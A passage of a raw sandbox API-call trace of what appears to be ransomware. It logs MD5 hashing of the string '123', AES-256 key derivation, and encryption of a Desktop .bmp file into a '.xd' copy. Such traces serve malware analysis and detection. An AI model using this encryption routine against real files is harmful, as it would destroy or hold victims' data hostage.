lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.625] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.625] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.625] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.625] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.625] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.626] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.626] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0078.626] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0078.626] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0078.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.626] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0078.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.626] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.626] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.626] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0078.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621858, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0078.627] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0078.627] CryptHashData (hHash=0x164ca30, pbData=0x1629480, dwDataLen=0x3, dwFlags=0x1) returned 1 [0078.627] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.627] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.627] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.628] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.628] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.628] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.628] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.628] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0078.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217f8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0078.629] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0078.629] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164ca30, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c8f0) returned 1 [0078.629] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.629] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.629] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.629] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.629] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.629] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.629] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0078.629] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0078.629] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0078.629] CryptDestroyHash (hHash=0x164ca30) returned 1 [0078.629] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.629] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.629] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.629] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.629] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.630] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ys1jivhj0zgegetl.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0078.630] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.630] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0078.630] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.630] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.630] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.630] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0078.631] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ys1jivhj0zgegetl.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0078.631] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.632] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.632] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.632] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.633] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0078.633] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0078.635] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x962, lpOverlapped=0x0) returned 1 [0078.635] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0078.637] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.637] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.637] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.637] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0078.638] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.638] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.638] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0078.638] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.638] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0078.638] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.639] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.639] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.639] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0078.639] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0078.639] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0078.639] CryptGetKeyParam (in: hKey=0x164c8f0, dwParam=0x7, pbData=0x1629350, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629350*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0078.640] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.640] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.640] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.640] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.640] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.640] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.640] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.640] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.640] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.641] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.641] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.641] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x10962, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x10970) returned 1 [0078.641] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.641] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.641] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.641] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.641] CharLowerBuffW (in: lpsz="byte[67953]", cchLength=0xb | out: lpsz="byte[67953]") returned 0xb [0078.641] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.643] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.643] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.643] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.643] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b88, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.643] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.643] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1812770*, pdwDataLen=0x130e618*=0x10962, dwBufLen=0x10970 | out: pbData=0x1812770*, pdwDataLen=0x130e618*=0x10970) returned 1 [0078.643] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.644] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.644] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.644] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.644] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.644] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.644] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.644] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.644] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.644] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.644] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.644] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 